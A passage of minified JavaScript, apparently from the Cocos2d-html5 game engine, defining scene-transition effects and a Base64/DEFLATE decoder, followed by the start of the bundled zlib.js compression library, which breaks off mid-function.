- b.LI=b.Xe.extend({ctor:function(a,c,d){b.Xe.prototype.ctor.call(this);d=d||b.dk;c&&this.e(a,c,d)},aa:function(){b.ea.prototype.aa.call(this);var a,c;this.la.visible=!1;var d;this.fm===b.dk?(a=90,d=270,c=90):(a=-90,d=90,c=-90);a=b.Hb(b.Ud(this.p/2),b.Uj(b.Oh(this.p/2,1,0,d,a,-45,0),b.Og(this.p/2,1),b.show()),b.show(),b.wc(this.finish,this));c=b.Hb(b.Uj(b.Oh(this.p/2,1,0,0,c,45,0),b.Og(this.p/2,0.5)),b.xp(),b.Ud(this.p/2));this.la.scale=0.5;this.la.cb(a);this.bb.cb(c)}});
- b.LI.create=function(a,c,d){return new b.LI(a,c,d)};
- b.nI=b.ea.extend({$d:null,ctor:function(a,c,d){b.ea.prototype.ctor.call(this);this.$d=b.color();c&&this.e(a,c,d)},aa:function(){b.ea.prototype.aa.call(this);var a=new b.Uc(this.$d);this.la.visible=!1;this.M(a,2,b.Fq);var a=this.Hh(b.Fq),c=b.Hb(b.nN(this.p/2),b.wc(this.Ax,this),b.oN(this.p/2),b.wc(this.finish,this));a.cb(c)},xb:function(){b.ea.prototype.xb.call(this);this.ZF(b.Fq,!1)},e:function(a,c,d){d=d||b.color.BLACK;b.ea.prototype.e.call(this,a,c)&&(this.$d.r=d.r,this.$d.g=d.g,this.$d.b=d.b,this.$d.a=
- 0);return!0}});b.nI.create=function(a,c,d){return new b.nI(a,c,d)};
- b.mI=b.ea.extend({ctor:function(a,c){b.ea.prototype.ctor.call(this);c&&this.e(a,c)},aa:function(){b.ea.prototype.aa.call(this);var a=b.color(0,0,0,0),c=b.J.ya(),a=b.Uc.create(a),d=b.Gn.create(c.width,c.height);if(null!=d){d.sprite.anchorX=0.5;d.sprite.anchorY=0.5;d.xi({x:c.width/2,y:c.height/2,anchorX:0.5,anchorY:0.5});d.Dh();this.la.U();d.end();var e=b.Gn.create(c.width,c.height);e.T(c.width/2,c.height/2);e.sprite.anchorX=e.anchorX=0.5;e.sprite.anchorY=e.anchorY=0.5;e.Dh();this.bb.U();e.end();d.sprite.pe(b.ONE,
- b.ONE);e.sprite.pe(b.SRC_ALPHA,b.ONE_MINUS_SRC_ALPHA);a.M(d);a.M(e);d.sprite.opacity=255;e.sprite.opacity=255;c=b.Hb(b.sN(this.p,0),b.wc(this.Ax,this),b.wc(this.finish,this));e.sprite.cb(c);this.M(a,2,b.Fq)}},xb:function(){this.ZF(b.Fq,!1);b.ea.prototype.xb.call(this)},Z:function(){}});b.mI.create=function(a,c){return new b.mI(a,c)};
- b.KI=b.ea.extend({ctor:function(a,c){b.ea.prototype.ctor.call(this);c&&this.e(a,c)},pi:function(){this.ih=!1},aa:function(){b.ea.prototype.aa.call(this);var a=b.J.ya(),a=b.wQ(this.p,b.size(0|a.width/a.height*12,12)),a=this.Qf(a);this.bb.cb(b.Hb(a,b.wc(this.finish,this),b.Py()))},Qf:function(a){return a}});b.KI.create=function(a,c){return new b.KI(a,c)};
- b.Fu=b.ea.extend({ctor:function(a,c){b.ea.prototype.ctor.call(this);c&&this.e(a,c)},aa:function(){b.ea.prototype.aa.call(this);this.la.visible=!1;var a=this.action(),a=b.Hb(a,b.wc(this.Ax,this),a.reverse());this.cb(b.Hb(this.Qf(a),b.wc(this.finish,this),b.Py()))},Qf:function(a){return new b.tn(a,3)},action:function(){return b.iQ(this.p/2,3)}});b.Fu.create=function(a,c){return new b.Fu(a,c)};
- b.JI=b.Fu.extend({ctor:function(a,c){b.Fu.prototype.ctor.call(this);c&&this.e(a,c)},action:function(){return b.jQ(this.p/2,3)}});b.JI.create=function(a,c){return new b.JI(a,c)};
- b.fk=b.ea.extend({ctor:function(a,c){b.ea.prototype.ctor.call(this);c&&this.e(a,c)},pi:function(){this.ih=!1},aa:function(){b.ea.prototype.aa.call(this);var a=b.J.ya(),a=this.Vo(b.size(0|a.width/a.height*12,12));this.bb.cb(b.Ve.create(this.Qf(a),b.qn.create(this.finish,this),b.vu.create()))},Qf:function(a){return a},Vo:function(a){return b.rN(this.p,a)}});b.fk.create=function(a,c){return new b.fk(a,c)};
- b.oI=b.fk.extend({ctor:function(a,c){b.fk.prototype.ctor.call(this);c&&this.e(a,c)},Vo:function(a){return b.pN(this.p,a)}});b.oI.create=function(a,c){return new b.oI(a,c)};b.qI=b.fk.extend({ctor:function(a,c){b.fk.prototype.ctor.call(this);c&&this.e(a,c)},Vo:function(a){return new b.du(this.p,a)}});b.qI.create=function(a,c){return new b.qI(a,c)};b.pI=b.fk.extend({ctor:function(a,c){b.fk.prototype.ctor.call(this);c&&this.e(a,c)},Vo:function(a){return b.qN(this.p,a)}});
- b.pI.create=function(a,c){return new b.pI(a,c)};b.UH=49153;
- b.We=b.ea.extend({md:0,Mc:0,lw:null,ub:"TransitionProgress",ctor:function(a,c){b.ea.prototype.ctor.call(this);c&&this.e(a,c)},mm:function(a,c,d){a.xi({x:c,y:d,anchorX:0.5,anchorY:0.5})},aa:function(){b.ea.prototype.aa.call(this);this.XL();var a=b.J.ya(),c=b.Gn.create(a.width,a.height);c.sprite.anchorX=0.5;c.sprite.anchorY=0.5;this.mm(c,a.width/2,a.height/2);c.clear(0,0,0,1);c.Dh();this.lw.U();c.end();this.lw==this.bb&&this.Ax();a=this.hm(c);c=b.Hb(b.VF(this.p,this.Mc,this.md),b.wc(this.finish,this));
- a.cb(c);this.M(a,2,b.UH)},xb:function(){this.ZF(b.UH,!0);b.ea.prototype.xb.call(this)},XL:function(){this.lw=this.bb;this.Mc=100;this.md=0},hm:function(){b.log("cc.TransitionProgress._progressTimerNodeWithRenderTexture(): should be overridden in subclass");return null},pi:function(){this.ih=!1}});b.We.create=function(a,c){return new b.We(a,c)};
- b.CI=b.We.extend({ctor:function(a,c){b.We.prototype.ctor.call(this);c&&this.e(a,c)},hm:function(a){var c=b.J.ya();a=b.Va.create(a.sprite);b.B===b.W&&(a.sprite.flippedY=!0);a.type=b.Va.Vh;a.reverseDir=!1;a.percentage=100;this.mm(a,c.width/2,c.height/2);return a}});b.CI.create=function(a,c){return new b.CI(a,c)};
- b.AA=b.We.extend({ctor:function(a,c){b.We.prototype.ctor.call(this);c&&this.e(a,c)},hm:function(a){var c=b.J.ya();a=b.Va.create(a.sprite);b.B===b.W&&(a.sprite.flippedY=!0);a.type=b.Va.Vh;a.reverseDir=!0;a.percentage=100;this.mm(a,c.width/2,c.height/2);return a}});b.AA.create=function(a,c){var d=new b.AA;return null!=d&&d.e(a,c)?d:new b.AA(a,c)};
- b.zI=b.We.extend({ctor:function(a,c){b.We.prototype.ctor.call(this);c&&this.e(a,c)},hm:function(a){var c=b.J.ya();a=b.Va.create(a.sprite);b.B===b.W&&(a.sprite.flippedY=!0);a.type=b.Va.Il;a.midPoint=b.d(1,0);a.barChangeRate=b.d(1,0);a.percentage=100;this.mm(a,c.width/2,c.height/2);return a}});b.zI.create=function(a,c){return new b.zI(a,c)};
- b.DI=b.We.extend({ctor:function(a,c){b.We.prototype.ctor.call(this);c&&this.e(a,c)},hm:function(a){var c=b.J.ya();a=b.Va.create(a.sprite);b.B===b.W&&(a.sprite.flippedY=!0);a.type=b.Va.Il;a.midPoint=b.d(0,0);a.barChangeRate=b.d(0,1);a.percentage=100;this.mm(a,c.width/2,c.height/2);return a}});b.DI.create=function(a,c){return new b.DI(a,c)};
- b.AI=b.We.extend({ctor:function(a,c){b.We.prototype.ctor.call(this);c&&this.e(a,c)},hm:function(a){var c=b.J.ya();a=b.Va.create(a.sprite);b.B===b.W&&(a.sprite.flippedY=!0);a.type=b.Va.Il;a.midPoint=b.d(0.5,0.5);a.barChangeRate=b.d(1,1);a.percentage=0;this.mm(a,c.width/2,c.height/2);return a},pi:function(){this.ih=!1},XL:function(){this.lw=this.la;this.Mc=0;this.md=100}});b.AI.create=function(a,c){return new b.AI(a,c)};
- b.BI=b.We.extend({ctor:function(a,c){b.We.prototype.ctor.call(this);c&&this.e(a,c)},hm:function(a){var c=b.J.ya();a=b.Va.create(a.sprite);b.B===b.W&&(a.sprite.flippedY=!0);a.type=b.Va.Il;a.midPoint=b.d(0.5,0.5);a.barChangeRate=b.d(1,1);a.percentage=100;this.mm(a,c.width/2,c.height/2);return a}});b.BI.create=function(a,c){return new b.BI(a,c)};b.yI=b.ea.extend({ctor:function(a,c,d){b.ea.prototype.ctor.call(this);this.e(a,c,d)},Uu:!0,ub:"TransitionPageTurn",e:function(a,c,d){this.Uu=d;b.ea.prototype.e.call(this,a,c);return!0},Vo:function(a){return this.Uu?b.xP(b.PF(this.p,a)):b.PF(this.p,a)},aa:function(){b.ea.prototype.aa.call(this);var a=b.J.ya(),c;a.width>a.height?(a=16,c=12):(a=12,c=16);a=this.Vo(b.size(a,c));this.Uu?(this.la.visible=!1,this.la.cb(b.Hb(b.show(),a,b.wc(this.finish,this),b.Py()))):this.bb.cb(b.Hb(a,b.qn.create(this.finish,
- this),b.vu.create()))},pi:function(){this.ih=this.Uu}});b.yI.create=function(a,c,d){return new b.yI(a,c,d)};b.ja={name:"Jacob__Codec"};b.K6=function(){return b.ja.Fa.wx.apply(b.ja.Fa,arguments)};b.L6=function(){var a=b.ja.vl.YM.apply(b.ja.vl,arguments);return b.ja.Fa.wx.apply(b.ja.Fa,[a])};b.CQ=function(a,c){c=c||1;var d=this.L6(a),e=[],f,g,h;f=0;for(h=d.length/c;f<h;f++)for(e[f]=0,g=c-1;0<=g;--g)e[f]+=d.charCodeAt(f*c+g)<<8*g;return e};b.Sla=function(a,c){c=c||1;var d=this.K6(a),e=[],f,g,h;f=0;for(h=d.length/c;f<h;f++)for(e[f]=0,g=c-1;0<=g;--g)e[f]+=d.charCodeAt(f*c+g)<<8*g;return e};
- b.c9=function(a){a=a.split(",");var c=[],d;for(d=0;d<a.length;d++)c.push(parseInt(a[d]));return c};b.ja.vl={name:"Jacob__Codec__Base64"};b.ja.vl.Hv="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\x3d";
- b.ja.vl.YM=function(a){var c=[],d,e,f,g,h,k=0;for(a=a.replace(/[^A-Za-z0-9\+\/\=]/g,"");k<a.length;)d=this.Hv.indexOf(a.charAt(k++)),e=this.Hv.indexOf(a.charAt(k++)),g=this.Hv.indexOf(a.charAt(k++)),h=this.Hv.indexOf(a.charAt(k++)),d=d<<2|e>>4,e=(e&15)<<4|g>>2,f=(g&3)<<6|h,c.push(String.fromCharCode(d)),64!=g&&c.push(String.fromCharCode(e)),64!=h&&c.push(String.fromCharCode(f));return c=c.join("")};
- b.ja.vl.ZM=function(a,c){var d=this.YM(a),e=[],f,g,h;f=0;for(h=d.length/c;f<h;f++)for(e[f]=0,g=c-1;0<=g;--g)e[f]+=d.charCodeAt(f*c+g)<<8*g;return e};b.H6=function(a){if(0!=a.length%4)return null;for(var c=a.length/4,d=window.B9?new Uint32Array(c):[],e=0;e<c;e++){var f=4*e;d[e]=a[f]+256*a[f+1]+65536*a[f+2]+16777216*a[f+3]}return d};b.ja.Fa=function(a){this.data=a;this.debug=!1;this.Dj=void 0;this.files=0;this.Vy=[];this.lE=Array(32768);this.Ch=0;this.cy=!1;this.LM=0;this.yi=1;this.Yo=0;this.Dp=[];this.tN=void 0;this.Ts=Array(b.ja.Fa.qS);this.Km=Array(32);this.zt=0;this.Qz=null;this.Mh=0;this.jp=Array(17);this.jp[0]=0;this.yN=this.wN=void 0};b.ja.Fa.wx=function(a){return(new b.ja.Fa(a)).wx()[0][0]};b.ja.Fa.xz=function(){this.Xw=this.Ww=0;this.CF=null;this.T2=-1};b.ja.Fa.qS=288;b.ja.Fa.vH=256;
- b.ja.Fa.iE=[0,128,64,192,32,160,96,224,16,144,80,208,48,176,112,240,8,136,72,200,40,168,104,232,24,152,88,216,56,184,120,248,4,132,68,196,36,164,100,228,20,148,84,212,52,180,116,244,12,140,76,204,44,172,108,236,28,156,92,220,60,188,124,252,2,130,66,194,34,162,98,226,18,146,82,210,50,178,114,242,10,138,74,202,42,170,106,234,26,154,90,218,58,186,122,250,6,134,70,198,38,166,102,230,22,150,86,214,54,182,118,246,14,142,78,206,46,174,110,238,30,158,94,222,62,190,126,254,1,129,65,193,33,161,97,225,17,145,
- 81,209,49,177,113,241,9,137,73,201,41,169,105,233,25,153,89,217,57,185,121,249,5,133,69,197,37,165,101,229,21,149,85,213,53,181,117,245,13,141,77,205,45,173,109,237,29,157,93,221,61,189,125,253,3,131,67,195,35,163,99,227,19,147,83,211,51,179,115,243,11,139,75,203,43,171,107,235,27,155,91,219,59,187,123,251,7,135,71,199,39,167,103,231,23,151,87,215,55,183,119,247,15,143,79,207,47,175,111,239,31,159,95,223,63,191,127,255];
- b.ja.Fa.VM=[3,4,5,6,7,8,9,10,11,13,15,17,19,23,27,31,35,43,51,59,67,83,99,115,131,163,195,227,258,0,0];b.ja.Fa.WM=[0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0,99,99];b.ja.Fa.UM=[1,2,3,4,5,7,9,13,17,25,33,49,65,97,129,193,257,385,513,769,1025,1537,2049,3073,4097,6145,8193,12289,16385,24577];b.ja.Fa.dp=[0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13];b.ja.Fa.border=[16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15];
- b.ja.Fa.prototype.wx=function(){this.ft=[];ja(this);return this.Vy};b.ja.Fa.prototype.S=function(){this.Yo+=8;return this.LM<this.data.length?this.data.charCodeAt(this.LM++):-1};function V(a){var c;a.Yo++;c=a.yi&1;a.yi>>=1;0==a.yi&&(a.yi=a.S(),c=a.yi&1,a.yi=a.yi>>1|128);return c}function W(a,c){for(var d=0,e=c;e--;)d=d<<1|V(a);c&&(d=b.ja.Fa.iE[d]>>8-c);return d}function X(a,c){a.lE[a.Ch++]=c;a.ft.push(String.fromCharCode(c));32768==a.Ch&&(a.Ch=0)}
- function ka(a){for(;;){if(a.jp[a.Mh]>=a.yN)return-1;if(a.wN[a.jp[a.Mh]]==a.Mh)return a.jp[a.Mh]++;a.jp[a.Mh]++}}function ma(a){var c=a.Qz[a.zt],d;if(17==a.Mh)return-1;a.zt++;a.Mh++;d=ka(a);if(0<=d)c.Ww=d;else if(c.Ww=32768,ma(a))return-1;d=ka(a);if(0<=d)c.Xw=d,c.CF=null;else if(c.Xw=32768,c.CF=a.Qz[a.zt],c.T2=a.zt,ma(a))return-1;a.Mh--;return 0}function na(a,c,d,e){a.Qz=c;a.zt=0;a.wN=e;a.yN=d;for(c=0;17>c;c++)a.jp[c]=0;a.Mh=0;return ma(a)?-1:0}
- function oa(a,c){for(var d,e,f=0,g=c[f];;)if(d=V(a)){if(!(g.Xw&32768))return g.Xw;g=g.CF;d=c.length;for(e=0;e<d;e++)if(c[e]===g){f=e;break}}else{if(!(g.Ww&32768))return g.Ww;f++;g=c[f]}return-1}
- function sa(a){var c,d,e,f,g;do if(c=V(a),e=W(a,2),0==e)for(a.yi=1,e=a.S(),e|=a.S()<<8,d=a.S(),d|=a.S()<<8,(e^~d)&65535&&document.write("BlockLen checksum mismatch\n");e--;)d=a.S(),X(a,d);else if(1==e)for(;;)if(e=b.ja.Fa.iE[W(a,7)]>>1,23<e?(e=e<<1|V(a),199<e?(e-=128,e=e<<1|V(a)):(e-=48,143<e&&(e+=136))):e+=256,256>e)X(a,e);else if(256==e)break;else{var h;e-=257;g=W(a,b.ja.Fa.WM[e])+b.ja.Fa.VM[e];e=b.ja.Fa.iE[W(a,5)]>>3;8<b.ja.Fa.dp[e]?(h=W(a,8),h|=W(a,b.ja.Fa.dp[e]-8)<<8):h=W(a,b.ja.Fa.dp[e]);h+=
- b.ja.Fa.UM[e];for(e=0;e<g;e++)d=a.lE[a.Ch-h&32767],X(a,d)}else if(2==e){var k=Array(320);d=257+W(a,5);h=1+W(a,5);f=4+W(a,4);for(e=0;19>e;e++)k[e]=0;for(e=0;e<f;e++)k[b.ja.Fa.border[e]]=W(a,3);g=a.Km.length;for(f=0;f<g;f++)a.Km[f]=new b.ja.Fa.xz;if(na(a,a.Km,19,k)){a.Ch=0;return}g=d+h;f=0;for(var m=-1;f<g;)if(m++,e=oa(a,a.Km),16>e)k[f++]=e;else if(16==e){var p;e=3+W(a,2);if(f+e>g){a.Ch=0;return}for(p=f?k[f-1]:0;e--;)k[f++]=p}else{e=17==e?3+W(a,3):11+W(a,7);if(f+e>g){a.Ch=0;return}for(;e--;)k[f++]=
- 0}g=a.Ts.length;for(f=0;f<g;f++)a.Ts[f]=new b.ja.Fa.xz;if(na(a,a.Ts,d,k)){a.Ch=0;return}g=a.Ts.length;for(f=0;f<g;f++)a.Km[f]=new b.ja.Fa.xz;e=[];for(f=d;f<k.length;f++)e[f-d]=k[f];if(na(a,a.Km,h,e)){a.Ch=0;return}for(;;)if(e=oa(a,a.Ts),256<=e){e-=256;if(0==e)break;e--;g=W(a,b.ja.Fa.WM[e])+b.ja.Fa.VM[e];e=oa(a,a.Km);8<b.ja.Fa.dp[e]?(h=W(a,8),h|=W(a,b.ja.Fa.dp[e]-8)<<8):h=W(a,b.ja.Fa.dp[e]);for(h+=b.ja.Fa.UM[e];g--;)d=a.lE[a.Ch-h&32767],X(a,d)}else X(a,e)}while(!c);a.Ch=0;a.yi=1}
- function ja(a){a.ft=[];a.cy=!1;var c=[];c[0]=a.S();c[1]=a.S();120==c[0]&&218==c[1]&&(sa(a),a.Vy[a.files]=[a.ft.join(""),"geonext.gxt"],a.files++);31==c[0]&&139==c[1]&&(ta(a),a.Vy[a.files]=[a.ft.join(""),"file"],a.files++);if(80==c[0]&&75==c[1]&&(a.cy=!0,c[2]=a.S(),c[3]=a.S(),3==c[2]&&4==c[3])){c[0]=a.S();c[1]=a.S();a.Dj=a.S();a.Dj|=a.S()<<8;c=a.S();c|=a.S()<<8;a.S();a.S();a.S();a.S();a.S();a.S();a.S();a.S();a.S();a.S();a.S();a.S();var d=a.S(),d=d|a.S()<<8,e=a.S(),e=e|a.S()<<8,f=0;for(a.Dp=[];d--;){var g=
- a.S();"/"==g|":"==g?f=0:f<b.ja.Fa.vH-1&&(a.Dp[f++]=String.fromCharCode(g))}a.tN||(a.tN=a.Dp);for(var f=0;f<e;)a.S(),f++;8==c&&(sa(a),a.Vy[a.files]=[a.ft.join(""),a.Dp.join("")],a.files++);ta(a)}}
- function ta(a){var c=[],d;a.Dj&8&&(c[0]=a.S(),c[1]=a.S(),c[2]=a.S(),c[3]=a.S(),a.S(),a.S(),a.S(),a.S(),a.S(),a.S(),a.S(),a.S());a.cy&&ja(a);c[0]=a.S();if(8==c[0]){a.Dj=a.S();a.S();a.S();a.S();a.S();a.S();a.S();if(a.Dj&4)for(c[0]=a.S(),c[2]=a.S(),a.Mh=c[0]+256*c[1],c=0;c<a.Mh;c++)a.S();if(a.Dj&8)for(c=0,a.Dp=[];d=a.S();){if("7"==d||":"==d)c=0;c<b.ja.Fa.vH-1&&(a.Dp[c++]=d)}if(a.Dj&16)for(;a.S(););a.Dj&2&&(a.S(),a.S());sa(a);a.S();a.S();a.S();a.S();a.cy&&ja(a)}};/*
- zlib.js 2012 - imaya [ https://github.com/imaya/zlib.js ] The MIT License */
- (function(){function a(a){throw a;}function c(a,c){var d=a.split("."),e=B;d[0]in e||!e.execScript||e.execScript("var "+d[0]);for(var f;d.length&&(f=d.shift());)d.length||c===D?e=e[f]?e[f]:e[f]={}:e[f]=c}function d(a){if("string"===typeof a){a=a.split("");var c,d;c=0;for(d=a.length;c<d;c++)a[c]=(a[c].charCodeAt(0)&255)>>>0}c=1;d=0;for(var e=a.length,f,g=0;0<e;){f=1024<e?1024:e;e-=f;do c+=a[g++],d+=c;while(--f);c%=65521;d%=65521}return(d<<16|c)>>>0}function e(c,d){this.index="number"===typeof d?d:0;
- this.Ns=0;this.buffer=c instanceof(y?Uint8Array:Array)?c:new (y?Uint8Array:Array)(32768);2*this.buffer.length<=this.index&&a(Error("invalid index"));this.buffer.length<=this.index&&this.Fh()}function f(a){this.buffer=new (y?Uint16Array:Array)(2*a);this.length=0}function g(a){var c=a.length,d=0,e=Number.POSITIVE_INFINITY,f,g,h,k,m,p,q,r,s;for(r=0;r<c;++r)a[r]>d&&(d=a[r]),a[r]<e&&(e=a[r]);f=1<<d;g=new (y?Uint32Array:Array)(f);h=1;k=0;for(m=2;h<=d;){for(r=0;r<c;++r)if(a[r]===h){p=0;q=k;for(s=0;s<h;++s)p=
- p<<1|q&1,q>>=1;for(s=p;s<f;s+=m)g[s]=h<<16|r;++k}++h;k<<=1;m<<=1}return[g,d,e]}function h(a,c){this.vp=O;this.G=0;this.input=a;this.b=0;c&&(c.u3&&(this.G=c.u3),"number"===typeof c.yE&&(this.vp=c.yE),c.iy&&(this.a=y&&c.iy instanceof Array?new Uint8Array(c.iy):c.iy),"number"===typeof c.O3&&(this.b=c.O3));this.a||(this.a=new (y?Uint8Array:Array)(32768))}function k(a,c){this.length=a;this.QR=c}function m(){var c=Q;switch(F){case 3===c:return[257,c-3,0];case 4===c:return[258,c-4,0];case 5===c:return[259,
- c-5,0];case 6===c:return[260,c-6,0];case 7===c:return[261,c-7,0];case 8===c:return[262,c-8,0];case 9===c:return[263,c-9,0];case 10===c:return[264,c-10,0];case 12>=c:return[265,c-11,1];case 14>=c:return[266,c-13,1];case 16>=c:return[267,c-15,1];case 18>=c:return[268,c-17,1];case 22>=c:return[269,c-19,2];case 26>=c:return[270,c-23,2];case 30>=c:return[271,c-27,2];case 34>=c:return[272,c-31,2];case 42>=c:return[273,c-35,3];case 50>=c:return[274,c-43,3];case 58>=c:return[275,c-51,3];case 66>=c:return[276,
- c-59,3];case 82>=c:return[277,c-67,4];case 98>=c:return[278,c-83,4];case 114>=c:return[279,c-99,4];case 130>=c:return[280,c-115,4];case 162>=c:return[281,c-131,5];case 194>=c:return[282,c-163,5];case 226>=c:return[283,c-195,5];case 257>=c:return[284,c-227,5];case 258===c:return[285,c-258,0];default:a("invalid length: "+c)}}function p(c,d){function e(c,d){var f=c.QR,g=[],h=0,k;k=T[c.length];g[h++]=k&65535;g[h++]=k>>16&255;g[h++]=k>>24;var m;switch(F){case 1===f:m=[0,f-1,0];break;case 2===f:m=[1,f-
- 2,0];break;case 3===f:m=[2,f-3,0];break;case 4===f:m=[3,f-4,0];break;case 6>=f:m=[4,f-5,1];break;case 8>=f:m=[5,f-7,1];break;case 12>=f:m=[6,f-9,2];break;case 16>=f:m=[7,f-13,2];break;case 24>=f:m=[8,f-17,3];break;case 32>=f:m=[9,f-25,3];break;case 48>=f:m=[10,f-33,4];break;case 64>=f:m=[11,f-49,4];break;case 96>=f:m=[12,f-65,5];break;case 128>=f:m=[13,f-97,5];break;case 192>=f:m=[14,f-129,6];break;case 256>=f:m=[15,f-193,6];break;case 384>=f:m=[16,f-257,7];break;case 512>=f:m=[17,f-385,7];break;
- case 768>=f:m=[18,f-513,8];break;case 1024>=f:m=[19,f-769,8];break;case 1536>=f:m=[20,f-1025,9];break;case 2048>=f:m=[21,f-1537,9];break;case 3072>=f:m=[22,f-2049,10];break;case 4096>=f:m=[23,f-3073,10];break;case 6144>=f:m=[24,f-4097,11];break;case 8192>=f:m=[25,f-6145,11];break;case 12288>=f:m=[26,f-8193,12];break;case 16384>=f:m=[27,f-12289,12];break;case 24576>=f:m=[28,f-16385,13];break;case 32768>=f:m=[29,f-24577,13];break;default:a("invalid distance")}k=m;g[h++]=k[0];g[h++]=k[1];g[h++]=k[2];
- f=0;for(h=g.length;f<h;++f)s[t++]=g[f];v[g[0]]++;w[g[3]]++;u=c.length+d-1;r=null}var f,g,h,m,p,q={},r,s=y?new Uint16Array(2*d.length):[],t=0,u=0,v=new (y?Uint32Array:Array)(286),w=new (y?Uint32Array:Array)(30),z=c.G,x;if(!y){for(h=0;285>=h;)v[h++]=0;for(h=0;29>=h;)w[h++]=0}v[256]=1;f=0;for(g=d.length;f<g;++f){h=p=0;for(m=3;h<m&&f+h!==g;++h)p=p<<8|d[f+h];q[p]===D&&(q[p]=[]);h=q[p];if(!(0<u--)){for(;0<h.length&&32768<f-h[0];)h.shift();if(f+3>=g){r&&e(r,-1);h=0;for(m=g-f;h<m;++h)x=d[f+h],s[t++]=x,++v[x];
- break}if(0<h.length){p=m=D;var A=0,C=D,B=D,G=C=D,K=d.length,B=0,G=h.length;a:for(;B<G;B++){m=h[G-B-1];C=3;if(3<A){for(C=A;3<C;C--)if(d[m+C-1]!==d[f+C-1])continue a;C=A}for(;258>C&&f+C<K&&d[m+C]===d[f+C];)++C;C>A&&(p=m,A=C);if(258===C)break}m=new k(A,f-p);r?r.length<m.length?(x=d[f-1],s[t++]=x,++v[x],e(m,0)):e(r,-1):m.length<z?r=m:e(m,0)}else r?e(r,-1):(x=d[f],s[t++]=x,++v[x])}h.push(f)}s[t++]=256;v[256]++;c.mS=v;c.eS=w;return y?s.subarray(0,t):s}function q(a,c){function d(a){var c=s[a][t[a]];c===
- q?(d(a+1),d(a+1)):--r[c];++t[a]}var e=a.length,g=new f(572),h=new (y?Uint8Array:Array)(e),k,m,p;if(!y)for(m=0;m<e;m++)h[m]=0;for(m=0;m<e;++m)0<a[m]&&g.push(m,a[m]);e=Array(g.length/2);k=new (y?Uint32Array:Array)(g.length/2);if(1===e.length)return h[g.pop().index]=1,h;m=0;for(p=g.length/2;m<p;++m)e[m]=g.pop(),k[m]=e[m].value;var q=k.length;m=new (y?Uint16Array:Array)(c);var g=new (y?Uint8Array:Array)(c),r=new (y?Uint8Array:Array)(q);p=Array(c);var s=Array(c),t=Array(c),u=(1<<c)-q,v=1<<c-1,w,x,z;m[c-
- 1]=q;for(w=0;w<c;++w)u<v?g[w]=0:(g[w]=1,u-=v),u<<=1,m[c-2-w]=(m[c-1-w]/2|0)+q;m[0]=g[0];p[0]=Array(m[0]);s[0]=Array(m[0]);for(w=1;w<c;++w)m[w]>2*m[w-1]+g[w]&&(m[w]=2*m[w-1]+g[w]),p[w]=Array(m[w]),s[w]=Array(m[w]);for(u=0;u<q;++u)r[u]=c;for(v=0;v<m[c-1];++v)p[c-1][v]=k[v],s[c-1][v]=v;for(u=0;u<c;++u)t[u]=0;1===g[c-1]&&(--r[0],++t[c-1]);for(w=c-2;0<=w;--w){x=u=0;z=t[w+1];for(v=0;v<m[w];v++)x=p[w+1][z]+p[w+1][z+1],x>k[u]?(p[w][v]=x,s[w][v]=q,z+=2):(p[w][v]=k[u],s[w][v]=u,++u);t[w]=0;1===g[w]&&d(w)}k=
- r;m=0;for(p=e.length;m<p;++m)h[e[m].index]=k[m];return h}function r(c){var d=new (y?Uint16Array:Array)(c.length),e=[],f=[],g=0,h,k,m;h=0;for(k=c.length;h<k;h++)e[c[h]]=(e[c[h]]|0)+1;h=1;for(k=16;h<=k;h++)f[h]=g,g+=e[h]|0,g>1<<h&&a("overcommitted"),g<<=1;65536>g&&a("undercommitted");h=0;for(k=c.length;h<k;h++)for(g=f[c[h]],f[c[h]]+=1,e=d[h]=0,m=c[h];e<m;e++)d[h]=d[h]<<1|g&1,g>>>=1;return d}function t(a,c){this.input=a;this.a=new (y?Uint8Array:Array)(32768);this.vp=K.Mx;var d={},e;!c&&(c={})||"number"!==
- typeof c.yE||(this.vp=c.yE);for(e in c)d[e]=c[e];d.iy=this.a;this.z=new h(this.input,d)}function s(c,d){this.Nx=[];this.Xx=32768;this.Gg=this.g=this.C=this.oy=0;this.input=y?new Uint8Array(c):c;this.cG=!1;this.ay=ca;this.SG=!1;if(d||!(d={}))d.index&&(this.C=d.index),d.mE&&(this.Xx=d.mE),d.nE&&(this.ay=d.nE),d.resize&&(this.SG=d.resize);switch(this.ay){case la:this.b=32768;this.a=new (y?Uint8Array:Array)(32768+this.Xx+258);break;case ca:this.b=0;this.a=new (y?Uint8Array:Array)(this.Xx);this.Fh=this.dS;
- this.GG=this.UR;this.dy=this.YR;break;default:a(Error("invalid inflate mode"))}}function u(c,d){for(var e=c.g,f=c.Gg,g=c.input,h=c.C,k;f<d;)k=g[h++],k===D&&a(Error("input buffer is broken")),e|=k<<f,f+=8;c.g=e>>>d;c.Gg=f-d;c.C=h;return e&(1<<d)-1}function v(c,d){for(var e=c.g,f=c.Gg,g=c.input,h=c.C,k=d[0],m=d[1],p;f<m;)p=g[h++],p===D&&a(Error("input buffer is broken")),e|=p<<f,f+=8;g=k[e&(1<<m)-1];k=g>>>16;c.g=e>>k;c.Gg=f-k;c.C=h;return g&65535}function x(a){function c(a,d,e){var f,g,h,k;for(k=0;k<
- a;)switch(f=v(this,d),f){case 16:for(h=3+u(this,2);h--;)e[k++]=g;break;case 17:for(h=3+u(this,3);h--;)e[k++]=0;g=0;break;case 18:for(h=11+u(this,7);h--;)e[k++]=0;g=0;break;default:g=e[k++]=f}return e}var d=u(a,5)+257,e=u(a,5)+1,f=u(a,4)+4,h=new (y?Uint8Array:Array)(pa.length),k;for(k=0;k<f;++k)h[pa[k]]=u(a,3);f=g(h);h=new (y?Uint8Array:Array)(d);k=new (y?Uint8Array:Array)(e);a.dy(g(c.call(a,d,f,h)),g(c.call(a,e,f,k)))}function z(c,d){var e,f;this.input=c;this.C=0;if(d||!(d={}))d.index&&(this.C=d.index),
